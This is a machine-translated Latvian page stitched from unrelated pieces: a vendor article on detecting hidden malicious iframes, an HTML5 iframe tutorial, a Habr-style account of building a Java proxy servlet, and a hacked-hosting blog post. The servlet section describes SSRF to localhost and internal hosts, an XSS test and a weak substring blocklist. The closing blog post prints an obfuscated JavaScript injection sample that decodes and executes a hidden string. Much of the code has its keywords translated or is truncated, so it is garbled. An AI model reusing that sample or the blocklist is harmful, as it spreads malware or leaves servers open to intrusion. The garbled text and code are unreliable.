Kā ievietot iframe HTML: lietošanas piemērs. Iframe un Frame — kas tas ir un kā vislabāk izmantot ietvarus HTML Relatīvā URL maiņa uz absolūtajiem URL lapas kodā

Viens no visizplatītākajiem veidiem, kā inficēt vietnes apmeklētāju datoru, ir izmantot ievainojamību, kas saistīta ar lietotāju pārlūkprogrammas buferu pārpildīšanu. Recepte ir pavisam vienkārša. Uzbrucēji injicē ļaunprātīgu kodu, vietņu lapās ievietojot iFrame, un mēģina lejupielādēt ļaunprātīgus failus nenojaušoša lietotāja datorā. Ir diezgan viegli atklāt šādus ļaunprātīgus ieliktņus jūsu vietnēs. Jums vienkārši jāpievērš uzmanība koda fragmentiem, kas izmanto iframe savienojumu. Šādi ieliktņi var būt gan HTML, gan PHP failos.

Uzbrucēji gandrīz vienmēr cenšas pēc iespējas vairāk slēpt ļaunprātīgu likmju izmantošanu no īpašniekiem, vizuāli slēpjot tās resursu lietotājiem un aptumšojot (aptumšojot) viņu kodu.

Slēpt iframe ieliktņus no lietotāju acīm

Lai slēptu ļaunprātīgu ievietojumu, hakeri vairumā gadījumu izmanto vienu un to pašu metodi atkal un atkal - viņi iestata atzīmes rekvizītus tā, lai tas netiktu parādīts lapā, bet būtu ietverts tās kodā. Visbiežāk platums un garums ir iestatīts uz nulli vai vienu pikseļu: platums = "1 pikseļi", augstums = "1 pikseļi".

Piemēram, ļaunprātīgs kods var izskatīties šādi:

Tomēr bieži vien hakeri neaprobežojas ar šādu maskēšanos, papildinot slēpšanu ar sarežģītākiem paņēmieniem, kas var sajaukt un apgrūtināt meklēšanu un likvidēšanu pat pieredzējušiem programmētājiem.

Apmulsināšana

Šī ir viena no visizplatītākajām koda aizsardzības metodēm programmēšanā nestrukturētās valodās (piemēram, PHP). Faktiski visa šifrēšana ir saistīta ar paša koda sajaukšanu / apmulsināšanu, mainot mainīgo un citu elementu nosaukumus. Rezultātā ir diezgan grūti atpazīt ļaunprātīgas darbības pazīmes apmulsinātā kodā, un tas ir iespējams, tikai pamatojoties uz netiešām pazīmēm, kas liecina par īpašu JS (JavaScript) funkciju, kas tiek izmantotas īpaši maskēšanai: unescape , fromCharCode .

Tomēr apslēpta koda atklāšana vietnē nenozīmē, ka tas noteikti ir kaitīgs vai viegli noņemams. Jums jāsaprot, ka, pirmkārt, uzbrucēji var aptumšot kodu, tverot arī daļu no vietnes darba koda. Šādā gadījumā, mēģinot izgriezt šifrētu fragmentu, jūs riskējat avarēt savu resursu. Otrkārt, apslēptais kods var nebūt ļaunprātīgs, bet gan tikai jūsu CMS vai tās atsevišķu komponentu, kā arī jūsu instalēto papildu moduļu darbības sekas.

Jebkurā gadījumā, ja saskaraties ar aizdomīgu aizdomīgu kodu, jums jārīkojas ar vislielāko piesardzību.

Citas infekcijas pazīmes

Ja šaubāties, vai atrastais kods ir ļaunprātīgs, varat mēģināt analizēt netiešās pazīmes. Ja jūsu vietnē ir daudz failu, iespējams, vēlēsities pievērst uzmanību datumam un laikam pēdējās izmaiņas failus. Ja labi zināt scenārijus, kā jūsu SPS darbojas ar failiem, varat tuvāk aplūkot failus, kas mainīti tajā pašā datumā vienlaikus vai ar izmaiņām, kas notikušas vienā laika intervālā, piemēram, 1 sekundē.

Ja esat pieredzējis programmētājs, varat uzrakstīt skriptu, kas pārbauda, ​​vai visos jūsu vietnes failos nav atrodami ieliktņu veidi. Ja esat vēl progresīvāks, varat piespiest skriptu izgriezt ieliktņus, tomēr vienmēr jābūt uzmanīgiem.

Alternatīvās metodes

Mēs iesakām izmantot Virusday pakalpojumu, lai noņemtu ļaunprātīgus ieliktņus, pat ja esat pieredzējis speciālists. Mūsu pakalpojums satur ne tikai daudzus parakstus, kurus var izmantot, lai atrastu kaitīgos kodus, bet arī ietaupa laiku! Turklāt izmaksas par Virusday izmantošanu tīrīšanai, visticamāk, būs daudz zemākas nekā maksājot par savu laiku. Jūs varēsiet atklāt un noņemt ne tikai iframe ieliktņus, bet arī daudzus citus draudus. Jūs, iespējams, varēsit atrast un automātiski noņemt draudus, kas izraisīja iframe ieliktņu parādīšanos jūsu vietnē, piemēram, Shell.

Virusday servisa komanda.

Tīmekļa vietņu izveides rītausmā tīmekļa resursi plaši izmantoja rāmjus, lai parādītu atsevišķas lapu daļas. Bet ar ierašanos jauna versija HTML 5 ir mainījis visu. Iezīmēšanas elementi , un ir novecojuši. Tie tika aizstāti ar vienu tagu - . Kā pievienot html? Zemāk redzamais piemērs būs skaidrs pat programmēšanas iesācējam.

Kas ir rāmji?

Rāmis ir vairuma pirmo tīmekļa lapu pamatā. Ja tiek tulkots burtiski, šis vārds nozīmē “rāmis”, tas ir, rāmis ir neliela pārlūkprogrammas lapas daļa. Rāmju plašā izmantošana pagātnē ir skaidrojama ar interneta trafika zemo kvalitāti un augstām izmaksām. Parasti vietne tika sadalīta 3-5 daļās, no kurām katra kalpoja noteiktam mērķim:

  • “galvene” (augšējais rāmis lapas platumā) - parāda resursa nosaukumu;
  • kreisais/labais "stikls" - izvēlnes displejs;
  • Centrālais rāmis ir vietnes satura attēlojums.

Lapas sadalīšana daļās ļāva pārslogot tikai noteiktu daļu, to atjauninot. Piemēram, lietotājs noklikšķināja uz izvēlnes vienuma, un centrālajā rāmī tika lejupielādēts jauns saturs.

Mūsdienu rāmji HTML 5

Kāpēc tas ir vajadzīgs HTML? Piemērs ir satura ievietošana no trešās puses resursa. Klasiskā situācija ir tad, kad tīmekļa izstrādātājs vēlas kartē parādīt objekta atrašanās vietu. Ko man darīt? Uzzīmēt vietnes plānu no nulles? Nē – ir vienkāršāks risinājums: iegult lapā Google Maps, Yandex Maps vai 2GIS elementu. Problēma tiek atrisināta četros posmos.

  • Jums jāiet uz jebkura kartēšanas pakalpojuma vietni.
  • Atrodiet vajadzīgo objektu. Kad zināt precīzu adresi, varat to ievadīt meklēšanas logā.
  • Izmantojot pogu “Saglabāt un saņemt kodu” (pakalpojumam Yandex.Maps) vai “Gatavs” (lai Google kartes) iegūstiet iegulšanas kodu.
  • Atliek lapā ievadīt ģenerētos marķējuma tagus.
  • Turklāt jūs varat izvēlēties kartes izmēru un konfigurēt citas displeja opcijas.

    Kā vēl jūs varat to izmantot HTML?? Kā piemēru var minēt video materiālu ievietošanu no Youtube resursa. Multivides tehnoloģijas piesaista interneta lietotājus, tāpēc video saturs ir tik populārs. Izstrādātājs ātri veiks video instalēšanu.

  • Jums vajadzētu augšupielādēt savu videoklipu pakalpojumā YouTube vai atrast trešās puses failu, ko pārraidīt.
  • Iegūstiet tagu, atlasot pogu "HTML kods".
  • Pēdējais solis ir ielīmēt . Tālāk tiks apskatīts iegūtā taga satura piemērs.
  • Abos piemēros tika izmantota automātiska koda ģenerēšana, taču profesionāliem izstrādātājiem vajadzētu būt iespējai pašiem rakstīt kodu. Pirmkārt, tas ļaus viņiem saprast lapas izkārtojumu un, ja nepieciešams, to mainīt. Otrkārt, vietnes elementu marķējums (kaut arī tie pieder ārējam resursam) ne vienmēr tiek veidots bez tīmekļa pārziņa līdzdalības. Šeit tiek izmantota izstrādātāja augstā kvalifikācija.

    Sintakse

    Tātad, pirms sākat lapas izkārtojumu, jums jāapsver iframe (html) tags: kas tas ir un kā to pareizi lietot.

    Pirmkārt, jāatzīmē, ka tags ir savienots pārī. Starp sākuma un aizvēršanas elementiem jūs norādāt saturu, kas tiks parādīts pārlūkprogrammās, kas neatbalsta šo iezīmēšanas elementu. Galvenie tagu atribūti:

    • platums (platums);
    • augstums (augstums);
    • src (lejupielādētā resursa adrese);
    • līdzināt(līdzināt metode);
    • rāmja apmale;
    • atļaut pilnu ekrānu.

    Tādējādi kods . HTML piemērs ir pilnībā parādīts tālāk:

    Iepriekš minētajā marķējumā ir pietiekami aizstāt vietnes adresi ar jebkuru citu un, ja nepieciešams, pielāgot rāmja izmēru.

    Elements

    Rāmji

    Ko tas dara?

    Kā ievietot lapu HTML lapā? Lai to izdarītu, jums ir jāizmanto , kas pašreizējā dokumentā izveido iekļautu rāmi, kurā tiek parādīts cits HTML dokuments.

    Displejs

    Displeja bloks.

    Koda piemērs

    Spēcīgs, taču viegli lietojams

    Vecajos sliktajos tīmekļa dizaina laikos bija daudz elementu, kas sabojāja katra izstrādātāja dzīvi. Gandrīz vienmēr tie bija slikta dizaina pieeja. Par laimi šis elements ir novecojis HTML5. Bet vai "iekļauts rāmis" joprojām ir pieejams. Vai nākamajā versijā tā tiks pārtraukta? Varbūt mums vajadzētu no tā izvairīties? Veidojot HTML lapu, šim elementam ir vairāki derīgi lietojumi. Bet jums ir jāsaprot, kas tas ir un kā tas darbojas, lai izvairītos no kļūdām.

    Līdzības un atšķirības un

    Abi šie elementi ļauj izveidot atsevišķu HTML dokumentu. Saite uz dokumenta saturu, uz kuru atsaucas pašreizējā tīmekļa lapa, ir norādīta atribūtā src.

    . . . . . .

    Galvenā atšķirība starp un ir tā, ka tiek īstenots noteikums, ka HTML dokumentam ir prioritāte. Saturs tiek parādīts elementā, kas ir pašreizējā dokumenta daļa. Kā piemēru ņemiet vērā šo iegulto videoklipu, kas ņemts no YouTube:

    Videoklips nepārprotami atrodas HTML lapā, nevis dažās atsevišķs panelis. elements lauza šo paradigmu un ļāva dokumentam kontrolēt pārlūkprogrammas logu, sadalot to vairākos mazos paneļos (rāmjos), no kuriem katrs parāda atsevišķu dokumentu. Visas pārējās atšķirības starp šo pamata atšķirību un izriet no tās.

    Nepārveidojiet uz ietvariem balstītus izkārtojumus, izmantojot iframe

    Kādu dienu jūs, iespējams, saskarsities ar uzdevumu atjaunināt vecu vietni, kas tika izveidota, izmantojot rāmjus. Varat arī izmantot fiksēta platuma izkārtojumu, lai atjaunotu to pašu neatkarīgo paneļu un sliekšņu murgu. Bet jūs nevarēsit izmantot mērķa atribūts lai atvērtu saiti atsevišķā rāmī. Varat sākt meklēt JavaScript risinājumus. Lūdzu, nedariet to.

    Labs (un briesmīgs) lietojums

    Ir vairāki derīgi lietošanas gadījumi HTML izveide lapas:

    • trešās puses multivides satura iegulšana;
    • sava multivides satura iegulšana, izmantojot starpplatformu dokumentu;
    • iegulšanas kodu piemēri;
    • trešo pušu sīklietotņu iegulšana kā maksājumu veidi.

    Šeit ir daži šausmīgi lietošanas gadījumi:

    • Foto galerija;
    • forums vai tērzēšana.

    Ja vēlaties pašreizējā dokumentā iegult neatkarīgus, jau esošus HTML dokumentus, izmantojiet . Ja veidojat visu no nulles, nav iemesla sadalīt lapas dizainu vairākos atsevišķos dokumentos. It īpaši, ja tie faktiski nav neatkarīgi satura gabali.

    iframe atribūti
    Atribūta nosaukums Nozīme Apraksts
    smilšu kaste Atļaut-tāda pati izcelsme
    Atļaut navigāciju augšpusē
    Atļaut-veidlapas
    Atļaut skriptus
    Iestata vairākus ierobežojumus kadrā ielādējamam saturam. Iestatiet pirms HTML lapas izveides.
    ritināšanu jā nē auto Nosaka, vai rāmī rādīt ritinājumus vai nē. Novecojis HTML5. Tā vietā izmantojiet CSS.
    Vārds Vārds Norāda rāmja nosaukumu.
    Izlīdzināt pa kreisi pa labi augšā
    vidus dibens
    Nosaka rāmja izlīdzinājumu attiecībā pret apkārtējiem elementiem. Ir novecojis. Tā vietā izmantojiet CSS.
    rāmja apmale jā (vai 1)
    Izmanto, lai iespējotu apmali ap rāmi. Novecojis HTML5. Tā vietā izmantojiet CSS.
    longdesc URL Izmanto, lai norādītu tās lapas URL, kurā ir garš rāmja satura apraksts. Ir novecojis. Tā vietā izmantojiet CSS.
    malas platums pikseļi Izmanto, lai kontrolētu polsterējuma platumu no satura līdz rāmja apmalei. Ir novecojis. Tā vietā izmantojiet CSS.
    src URL Norāda dokumenta URL, kas jāparāda IFRAME.
    vspace pikseļi Iestata vertikālās piemales no rāmja līdz apkārtējam saturam. Ir novecojis. Tā vietā izmantojiet CSS.
    platums pikseļi % Nosaka rāmja platumu par HTML lapa.

    Šī publikācija ir raksta “” tulkojums, ko sagatavojusi draudzīgā projekta komanda

    Mēs izveidojām Google tīmekļa pārziņa marķiera rīka analogu. Atgādināšu, ka Marķieris ir Google tīmekļa pārziņa konta rīks, kas ļauj anotēt savas Open Graph lapas ar tagiem. Lai to izdarītu, vienkārši ar peli atlasiet teksta daļu lapā un norādiet, ka šis ir nosaukums un tas ir vērtējums. Jūsu lapa ir ielādēta tīmekļa pārziņa konta Iframe.

    Tagad Google, sastapusies ar līdzīgu lapu jūsu vietnē, jau zina, kāda veida saturs tajā tiek publicēts un kā to skaisti parsēt savā būtībā (raksts, produkts, video...)

    Mums bija nepieciešama līdzīga funkcionalitāte. Uzdevums šķita vienkāršs un tikai klienta pusē. Taču praksē risinājums ir klienta un servera puses krustpunktā (“tīrie” JS programmētāji var neko nezināt par dažādiem starpniekserveriem un ļoti ilgi pieiet pie projekta). Tomēr es neatradu internetā rakstu, kurā būtu aprakstīta visa tehnoloģija no sākuma līdz beigām. Vēlos pateikties arī BeLove lietotājam un mūsu apsardzei par palīdzību.

    Mūsu gadījumā mēs vēlējāmies, lai tīmekļa pārzinis varētu ērti (noklikšķinot ar peli) iegūt xPath vērtību noteiktiem savas lapas elementiem.

    Iframe “Same Origin” Un tāpēc mūsu admin panelī cilvēkam ir jāievada savas vietnes lapas URL, mēs to parādīsim iFrame, cilvēks norādīs peli, kur nepieciešams, mēs iegūsim nepieciešamo xPath. Viss būtu kārtībā, taču pārlūkprogrammas drošības politikas dēļ mums nav piekļuves tās lapas saturam no cita domēna, kas ir ielādēts iframe mūsu administratora panelī (mūsu domēns).CORS — vairāku izcelsmes resursu koplietošana. Daži cilvēki man ieteica lai izmantotu CORS. Moderna tehnoloģija, kas atrisina daudzas problēmas saistībā ar piekļuvi saturam no cita domēna pārlūkprogrammā un ļauj apiet tos pašus izcelsmes politikas ierobežojumus.
    Vietne, kas vēlas piešķirt piekļuvi tās saturam kāda cita domēna lapās, vienkārši raksta http galvenē:
    Access-Control-Allow-Origin: http://example.com
    Un virsrakstā http pieprasījums nāk no cita domēna lapas no pārlūkprogrammas, ir jābūt izcelsmes laukam:
    Izcelsme: www.mysupersite.com
    Ir skaidrs, ka pati pārlūkprogramma pieprasījumam pievieno izcelsmes lauku. Apskatīsim rakstu par Habré un redzēsim, ka mūsdienu pārlūkprogrammas pievieno Origin pat pieprasījumam par to pašu domēnu:

    Tomēr:

  • pārlūkprogramma nenorāda izcelsmi pieprasījuma galvenē lapai, kas tiek ielādēta iframe (vai kāds var paskaidrot, kāpēc?)
  • mēs nevēlamies lūgt tīmekļa pārziņiem norādīt galveni Access-Control-Allow-Origin
  • Iframe sandbox Vēl viena moderna tehnoloģija. Sandbox ir Iframe taga atribūts. Viena no šī atribūta vērtībām var tikt iestatīta uz atļauja-same-origin . Pirms sāku iedziļināties šajā tēmā, es nezināju, ko tieši šis atribūts dara, bet tas izklausījās ļoti vilinoši. Tomēr smilškastes atribūts vienkārši ierobežo to, ko var darīt iFrame ielādētā lapa, un tas neietekmē jautājumu par piekļuvi rāmja saturam no vecākdokumenta.

    Konkrēti, atļauja-same-origin vērtība (vai drīzāk tās neesamība) tikai norāda, ka iframe vienmēr ir jāuzskata par ielādētu no sveša domēna (piemēram, jūs nevarat nosūtīt AJAX pieprasījums uz galvenā dokumenta domēnu)

    Apskatīsim, kā Google to paveica Laiks redzēt, kā lielais brālis to paveica

    Pievērsīsim uzmanību iframe elementa atribūtam src: src="https://wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007....." - mūsu lapa tiek ielādēta admin panelī ar Google domēns. Turklāt tas ir vēl smagāks: pat avota dokumentā esošie skripti un attēli tiek palaisti caur starpniekserveri. Visas src, href... tiek aizstātas html ar starpniekserveriem. Kaut kas tamlīdzīgs:

    Visi resursi, ko izmanto jūsu lapa, tiek glabāti arī Google starpniekserveros. Lūk, piemēram, mūsu.

    CGIProxy? Uzreiz likās, ka, lai darītu to pašu, ir jāizceļ pilnvērtīgs starpniekserveris kā CGIProxy. Šis starpniekserveris veic aptuveni to pašu, ko Google vietne wmthighlighter.googleusercontent.com
    Apmeklējiet skripta vietrādi URL, lai sāktu pārlūkošanas sesiju. Kad esat ieguvis lapu, izmantojot starpniekserveri, viss, uz ko tas ir saistīts, automātiski tiks nosūtīts caur starpniekserveri. Varat atzīmēt lapas, kuras pārlūkojat, un jūsu grāmatzīmes tiks caur starpniekserveri tāpat kā pirmajā reizē. Tavs starpniekserveris! Tomēr, ja sašaurināt uzdevumu, pašam ir daudz vieglāk uzrakstīt vienkāršu starpniekserveri. Fakts ir tāds, ka Google to dara, visa lapas satura sūtīšana, izmantojot starpniekserveri, nemaz nav nepieciešama. Mums ir nepieciešams tikai jebkuras lapas html, kas tiek rādīts no mūsu domēna, un resursus var ielādēt no sākotnējā domēna. Mēs pagaidām esam atmetuši HTTPS.
    Šeit nav nepieciešama super veiktspēja vai ērti iestatījumi, un to var izdarīt ātri un izmantojot jebko, sākot no node.js līdz php. Mēs uzrakstījām servletu Java valodā Lejupielādēt lapu Kas jādara starpniekservera servletam? Izmantojot get parametru, mēs iegūstam tās lapas URL, kas jāielādē, un pēc tam lejupielādējam lapu.

    Noteikti nosakiet lapas kodējumu (izmantojot http atbildi vai rakstzīmju kopu html kodā) — mūsu starpniekserveram ir jāatbild tādā pašā kodējumā kā lapai, kuru mēs ielādējām. Katram gadījumam mēs definēsim arī satura veidu, lai gan ir skaidrs, ka mēs iegūstam lapu teksta/html formātā un atdosim to tādā pašā veidā.
    gala virkne url = request.getParameter("url"); galīgais HttpGet pieprasījumsApache = jauns HttpGet(url); gala HttpClient httpClient = new DefaultHttpClient(); galīgā HttpResponse responseApache = httpClient.execute(requestApache); galīgā HttpEntity entītija = responseApache.getEntity(); gala virknes kodējums = EntityUtils.getContentCharSet(entity); final String mime = EntityUtils.getContentMimeType(entity); String responseText = IOUtils.toString(entity.getContent(), kodējums);
    *Tiem, kam patīk novērtēt svešu kodu: mūsu komandā visiem ir vienādi eclicpse koda formatēšanas iestatījumi, un, saglabājot failu, pats aptumsums pievieno galīgo visiem mainīgajiem, ja tie nekur citur nemainās. Kas, starp citu, galu galā ir diezgan ērti.

    Relatīvo URL mainīšana uz absolūtajiem lapas kodā Lapā ir jāiziet cauri visi atribūti ar src un href (stila failu ceļi, attēli) un relatīvie URL jāaizstāj ar absolūtajiem. Pretējā gadījumā lapa mēģinās lejupielādēt attēlus no dažām mūsu starpniekservera mapēm, kuru mums, protams, nav. Jebkurai valodai ir gatavas klases, vai arī varat atrast koda fragmentus šim nolūkam vietnē stackoverflow:
    gala URI uri = jauns URI(url); beigu virknes saimniekdators = uri.getHost(); atbildesTeksts = aizstātRelativeLinks(host, responseText); html sūtīšana Tas arī viss, starpniekservera servlet ir gatavs. Mēs nosūtām atbildi, iestatot nepieciešamo kodējumu un mime.
    Protected Void sendResponse(HttpServletResponse response, String responseText, String encoding, String mime) izmet ServletException, IOException (response.setContentType(mime); response.setCharacterEncoding(encoding); response.setStatus(HttpOKter.SCletriW(HttpSponse.v). print(responseText); response.flushBuffer(); ) Izvietojiet un pārbaudiet Izvietojiet mūsu starpniekservera servletu uz to pašu adresi, kurā atrodas administratora panelis adminpanel.indexisto.com, ielādējiet tīmekļa pārziņa vietnes lapu mūsu iframe, izmantojot starpniekserveri un visas starpdomēnu problēmas. pazust.
    Mūsu starpniekserveris strādā plkst
    http://adminpanel.indexisto.com/highlighter?url=http://habrahabr.ru
    - šādi centrmezgls tiks ielādēts no mūsu domēna. Mēs iedodam šo adresi iframe un mēģinām piekļūt centrmezgla DOM kokam, izmantojot JS admin panelī - viss darbojas. CSRF, protams, nedarbosies, jo lapa tika ielādēta no mūsu starpniekservera, kurā nav sīkfailu. SSRF problēma Ielādēsim vietni ar “localhost” adresi mūsu iframe — ak, lūk, sākuma lapa mūsu nginx. Izmēģināsim kādu iekšēju (ārējai redzei neredzamu) resursu tajā pašā tīklā ar mūsu starpniekserveri. Piemēram secured_crm.indexisto.com - viss ir savās vietās.
    Protams, mēs cenšamies aizliegt šīs lietas savā starpniekserverī, ja kāds mēģina starpniekserveri localhost, mēs izejam, neko neatgriežot:
    if (url.contains("localhost")||url.contains("127")||url.contains("highlighter")||url.contains("fails")) ( LOG.debug("Mēģina iegūt vietējais resurss. Url = " + url); atgriezties; )
    bet mēs noteikti šeit neuzskaitīsim visus tīkla resursus. Tas nozīmē, ka mums ir jāpārvieto starpniekserveris uz pilnīgi izolētu vidi, lai iekārta neredzētu neko, izņemot internetu, sevi un mūsu starpniekserveri. Mēs izvēlamies mašīnu, konfigurējam un tur palaižam savu servletu XSS problēma Augšupielādēsim mūsu lapu mūsu iframe, uz kura mēs rakstīsim:
    brīdinājums ("xss")
    Parādās brīdinājums. Diemžēl. To var apiet, izmantojot atribūtu iframe sandbox allow-scripts, bet kā ir ar vecākām pārlūkprogrammām, kas šo atribūtu īsti nesaprot? Jūs varat tikai nozagt savus sīkfailus, bet jūs joprojām nevarat tos atstāt tā.
    Mēs pārvietojam servletu ne tikai uz atsevišķu mašīnu, bet arī piešķiram tai atsevišķu apakšdomēnu highlighter.indexisto.com .

    Mēs ieradāmies, mēs lauzām savu risinājumu, apejot starpdomēnu ierobežojumus. Tagad mēs nevaram atkal sasniegt iframe saturu.

    Turpinot atrast risinājumu no Google, es atsevišķā logā atvēru mūsu lapu, kas tiek pasniegta caur starpniekserveri

    Un es pamanīju dīvainu kļūdu konsolē.
    CrossPageChannel: nevar izveidot savienojumu, vienādranga loga objekts nav iestatīts.
    Kļuva skaidrs, ka visu sakārtot ir sarežģītāk nekā vienkārši ielādēt lapu iframe no sava domēna. Lapas sazinās viena ar otru. Attiecīgi mēs virzāmies uz window.postMessage

    Izlikt ziņojumu Bija necilvēcīgi piespiest tīmekļa pārzini iegult mūsu skriptu savā lapā, kas nodrošinātu, ka lapas elementi tiek atlasīti ar peli, un pēc tam šo elementu xPath tiks nosūtīts mums galvenajā dokumentā, izmantojot postMessage. Tomēr neviens neliedz mūsu starpniekserverim ievadīt skriptus iFrame ielādētajā lapā.
    Mēs saglabājam visus ieviešanai nepieciešamos skriptus failā un ievietojam tos pirms beigu pamatteksta:
    galīgā int pozīcijaIevietot = atbildesText.indexOf(""); final InputStream inputStream = getServletContext().getResourceAsStream("/WEB-INF/inject.js"); galīgais StringWriter rakstītājs = new StringWriter(); IOUtils.copy(inputStream, rakstnieks); beigu virkne jsToInsert = writer.toString(); atbildesTeksts = atbildesTeksta.apakšvirkne(0, pozīcijaIevietot) + jsToIevietot + atbildesTeksta.apakšvirkne(pozīcijaIevietot, atbildesTeksts.length());
    testēšanai ievietojam brīdinājumu - viss darbojas.JS daļa - izceļam mājas elementu zem peles un iegūstam xpath Labi, pāriesim pie faktiskā JS, kuru ievietojām tīmekļa pārziņa lapā.
    Mums ir jāizceļ dom elementi, virs kuriem cilvēks pārvieto peli. Labāk to darīt, izmantojot ēnu, jo tad elements nepārvietosies un pārlēks visa lapa. Uzvelkam peles kursoru uz ķermeņa un skatāmies uz notikuma mērķi. Tajā pašā apdarinātājā es aprēķināju elementa xpath. Labāk ir aprēķināt elementa xPath uz vienu klikšķi, taču arī šajā ieviešanā es nepamanīju nekādus palēninājumus.
    elmFrame.contentWindow.document.body.onmouseover= function(ev)(ev.target.style.boxShadow = "0px 0px 5px sarkans"; curXpath = getXPathFromElement(ev.target); )
    Es šeit nenodrošinu DOM elementa xPath iegūšanas ieviešanu. Ir daudz fragmentu, kā to izdarīt. Šos fragmentus var modificēt, lai tie atbilstu jūsu vajadzībām, piemēram, jums ir nepieciešami tikai tagi xpath. Vai arī vajag id, ja tādi ir un klases, ja id nav - katram savas prasības.

    Šeit ir starpniekservera piemērs mājas lapa Habr ar iegultu skriptu:
    http://highlighter.indexisto.com/?md5=6ec7rdHxUfRkrFy55jrJQA==&url=http%3A%2F%2Fhabrahabr.ru&expires=1390468360

    JS daļa - klikšķa apstrāde Personas klikšķis uz lapas iframe tiek nekavējoties “dzēsts” (saitei iframe netiks sekots). Mēs arī nosūtām saņemtā xPath virkni uz vecāku logu (mēs to saglabājām, pārvietojot peli virs elementa)
    document.body.onclick = function(ev)( window.parent.postMessage(curXpath, "*"); ev.preventDefault(); ev.stopPropagation(); ) Peļņa! Tas arī viss. Tagad mūsu administratora panelī tīmekļa pārzinis var ātri iegūt xpath ceļus uz elementiem savās lapās daudz vienkāršāk.

    Pievienosim vēl kādu drošību. Labi, mums viss darbojās, taču ir problēma, ka mūsu starpniekserveris skatās pasaulē pilnīgi neaizsargāts. Ikviens var pilnvarot jebko.

    Mēs ievietojam nginx starpniekservera priekšā, tas klausās portu 80, un mēs noņemam starpniekserveri uz citu portu. Mēs aizveram visas pārējās ostas, izņemot 80 no ārpasaules.

    Tagad liksim starpniekserverim darboties tikai caur administratora paneli. Brīdī, kad tīmekļa pārzinis ievada savas vietnes URL, mēs ātri skrienam uz serveri, kur ģenerējam md5 jaucējkodu no pašreizējā laika zīmoga + 1 stunda, paša URL un īpaši slepenā, ja:
    beigu virkne md5Me = timeStampExpires + urlEncoded + "SUPERSECRET"; gala MessageDigest md = MessageDigest.getInstance("MD5"); md.reset(); md.update(md5Me.getBytes("UTF-8")); Virknes kods = Base64.encodeBase64String(md.digest()); kods = kods.replaceAll("/", "_"); kods = kods.replaceAll("\\+","-");
    Ņemiet vērā arī to, ka kodā mēs saņemam md5 virkni nevis kā parasto hex, bet gan base64 kodējumā, kā arī iegūtajā md5 mēs veicam dīvainas slīpsvītras un plus rakstzīmju nomaiņas ar pasvītrām un domuzīmēm.
    Fakts ir tāds, ka ngnix izmanto base64 faila nosaukumu Droša alfabēta rīki.ietf.org/html/rfc3548#page-6
    Un Java dod kanonisko bāzi64.

    Saņemot atbildi no servera ar drošu md5 mūsu administratora panelī, mēs cenšamies iframe ielādēt šādu URL:
    highlighter.indexisto.com/?md5=Dr4u2Yeb3NrBQLgyDAFrHg==&url=http%3A%2F%2Fhabrahabr.ru&expires=1389791582

    Tagad mēs konfigurējam nginx HttpSecureLinkModule moduli. Šis modulis pārbauda visu tajā nonākušo parametru md5 (modulī ir reģistrēta tā pati slepenā atslēga kā admin servletā), pārbauda, ​​vai saite ir parsēta, un tikai šajā gadījumā pārsūta pieprasījumu uz mūsu starpniekservera servletu. .

    Tagad neviens nevar izmantot mūsu starpniekserveri ārpus administratora paneļa, kā arī nevar nekur ievietot mūsu serverim pieprasīto attēlu - tas tik un tā pēc stundas mirs.

    Tas arī viss, cilvēki! Google, protams, ir gājis daudz tālāk ar savu marķiera rīku. Lai skaidri identificētu elementu lapā, jums ir jāatzīmē viens un tas pats elements (piemēram, raksta nosaukums) vairākās viena veida lapās, lai ka jūs varat precīzāk izveidot xpath un atmest dažādus ID, piemēram, "post-2334", kas acīmredzot darbosies tikai vienā lapā. Mūsu administratora panelī pagaidām xpath ir jālabo ar roku, lai iegūtu pieņemamu rezultātu

    Gribēju iesākt savu blogu ar dziesmu tekstiem, bet tā bija tik vētraina nedēļa, ka nolēmu visus sveikt ar saturīgu rakstu. Sveiki!

    Un visa nedēļa pagāja karos ar pastāvīgu mana hostinga uzlaušanu un visu JavaScript failu inficēšanu ar iframe, un tas ir ne mazāk kā aptuveni 2500 skripti un visas vietnes ar vīrusiem.

    Man nebija laika dienas laikā notīrīt visus failus. manuālais režīms un nomainīt paroles, bet nākamajā dienā viss atkārtojās - paroles kaut kā noplūda un skripti atkal tika veiksmīgi piekļūti caur FTP.

    Nedēļas piektdiena bija pēdējais piliens, un es pavadīju dienu, aizsargājot savus serverus:

  • Konfigurēts .ftpaccess serveros — tādējādi ierobežojot FTP piekļuvi serveriem no visiem IP, izņemot jūsu statisko;
  • Es uzrakstīju automātiskās noņemšanas skriptu iframe un vīrusiem no visiem .js failiem. Tātad kārtībā.
  • Vietņu failu inficēšana notiek, failos vienkārši ievietojot iframe kodu, izmantojot ftp. Iepriekš es biežāk novēroju ievietošanu .php, .html failos - kas noveda pie pilnīgas vietņu avārijas, šodien ļaunprogrammatūra ir kļuvusi laipnāka un sāka rakstīt tikai ievietojumus. failos ar paplašinājumu .js - JavaScript . IFRAME ieliktņi tiek rakstīti faila beigās, un tie var būt vai nu tiešā formā (to viegli nosaka pretvīrusi), vai kodētā formā (dažādu iframe šifrētāju darbs), piemēram:

    try ( q= document.createElement ("u" ) ; q.appendChild (q+ "" ) ; ) catch (qw) ( h=- 012/ 5 ; zz= "a" + "l" ; f= "fr" + "om" + "Ch" ; f+= "arC" ; ) mēģināt ( qwe= prototips ; ) noķert (brebr) ( zz= "zv" .substr (123 - 122 ) + zz; ss= ; f+= (h ) ? "ode" : "" ; w= this ; e= w[ f.substr (11 ) + zz] ; n= "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$1$17.5$13$58.5$1.5$3..3. $55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [ ((e) ? "s" : "" ) + "p" + "lit" ] ("a$" .substr; ) (i= 6 - 2 - 1 - 2 - 1 ; i- 684 != 0 ; i++ ) ( k= i; ss= ss+ String .fromCharCode (- 1 * h* (3 + 1 * n[ k] ) ) ; ) q= ss; e(q) ;)

